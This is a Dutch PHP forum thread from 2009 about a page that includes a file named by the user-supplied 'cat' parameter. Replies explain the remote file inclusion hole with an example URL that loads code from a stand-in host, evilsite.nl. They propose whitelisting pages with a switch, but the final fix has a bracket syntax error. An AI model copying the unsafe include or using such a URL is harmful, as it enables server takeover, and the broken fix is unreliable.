include van een link werkt niet

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Roderik

Roderik

14/07/2009 17:07:00
Quote Anchor link
beste mensen,
ik ben ten einde raad, ik heb een pagina gemaakt waar ik een andere pagina laat includen als dit wordt aangevraagd door de link.

In de pagina die wordt opgeroepen staat een plaatje, dit plaatje is ook een link.

Als ik rechtstreeks naar die pagina ga dan werkt het plaatje als link, maar zodra ik hem include dan zie ik alleen het plaatje maar kan ik er niet op klikken.

code pagina waar wordt geinclude:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$categorie
= $_GET['cat'];
include("".$categorie.".php");
?>


code pagina die wordt geinclude:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo "<a href=\"http://www.mijnlink.nl\" /><img src=\"portfolio_thumbs/mijnplaatje.png\" /></a>";
?>


ik snap er echt helemaal niks van, heb nooit problemen gehad met een include dat links niet meer werken.
kan iemand mij vertellen wat ik fout doe?

alvast bedankt.

mvg roodje
 
PHP hulp

PHP hulp

08/05/2024 22:33:58
 
TJVB tvb

TJVB tvb

14/07/2009 17:28:00
Quote Anchor link
Eerste fout is dat je gigantisch onveilig bezig bent. Zomaar includen vanuit een parameter die door de user gemaakt is vraagt erom om gehackt te worden.

Verder een beetje meer duidelijkheid moet kunnen. Wat zijn je errors?
 
Roderik

Roderik

14/07/2009 17:34:00
Quote Anchor link
hoe kan je zo gehacked worden als ik vragen mag? ik snap dat niet ze kunnen toch niet zomaar me config te voorschijn toveren?
wat ik fout deed was een slordigheidsfout. ik had twee verschillende pagina's waar ik mee bezig was. ik zat steeds de verkeerde te uploaden dus er gebeurde maar niks aan mijn pagina..

domme ik tijd voor wat koffie hehe
 
GaMer B

GaMer B

14/07/2009 17:45:00
Quote Anchor link
Dit:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$categorie
= $_GET['cat'];
include("".$categorie.".php");
?>

is extreem onveilig.

Men kan nu men via deze URL: www.jesite.nl/pagina.php?cat=http://www.evilsite.nl/mycodeinjection

het volgende bewerkstelligen:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$categorie
= $_GET['cat']; // http://www.evilsite.nl/mycodeinjection
include("http://www.evilsite.nl/mycodeinjection.php");
?>

en zo wordt http://www.evilsite.nl/mycodeinjection.php van de 'evil' server uitgevoerd op JOUW server.
 
TJVB tvb

TJVB tvb

14/07/2009 17:47:00
Quote Anchor link
als ik kan bepalen wat voor code jouw programma uitvoerd kan ik alles doen wat jij ook kunt vanuit de website. Oftewel alle mappen en bestanden waar de user bij kan waar je website onder draait is dan ineens ook voor mij.
Ik kan bestanden toevoegen/wijzigen/verwijderen.
En je config is dan echt niet het interessante gedeelte.
 
Roderik

Roderik

14/07/2009 17:52:00
Quote Anchor link
okeej dat snap ik maar hoe beveilig ik dit dan goed? want ik wil maar 3 bestanden laten includen.

moet ik dan gewoon een statement maken?
 
TJVB tvb

TJVB tvb

14/07/2009 18:05:00
Quote Anchor link
Ja, zeker voor 3 bestanden moet dat te doen zijn.
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$categorie
= '';
if(isset($_GET['cat']))
{

    $categorie = $_GET['cat'];
}

switch($categorie)
{
    case
'joepie': include('joepie.php');    break;
    case
'iets': include('iets.php');            break;
    case
'test': include('test.php');            break;
    default:
include('home.php');    //als er geen goed is wordt de default gedaan
}
?>
Gewijzigd op 01/01/1970 01:00:00 door TJVB tvb
 
Afra ca

Afra ca

14/07/2009 20:50:00
Quote Anchor link
Include is een language construct, dus geen haakjes. En nog iets korter geschreven:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

if(isset($_GET['cat']])){
    switch($_GET['cat']){
        case
'joepie': include "joepie.php";    break;
        case
'iets': include "iets.php";            break;
        case
'test': include "test.php";            break;
        default:
include "home.php";    //als er geen goed is wordt de default gedaan
    }
}

else{
    include "home.php";
}

?>
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.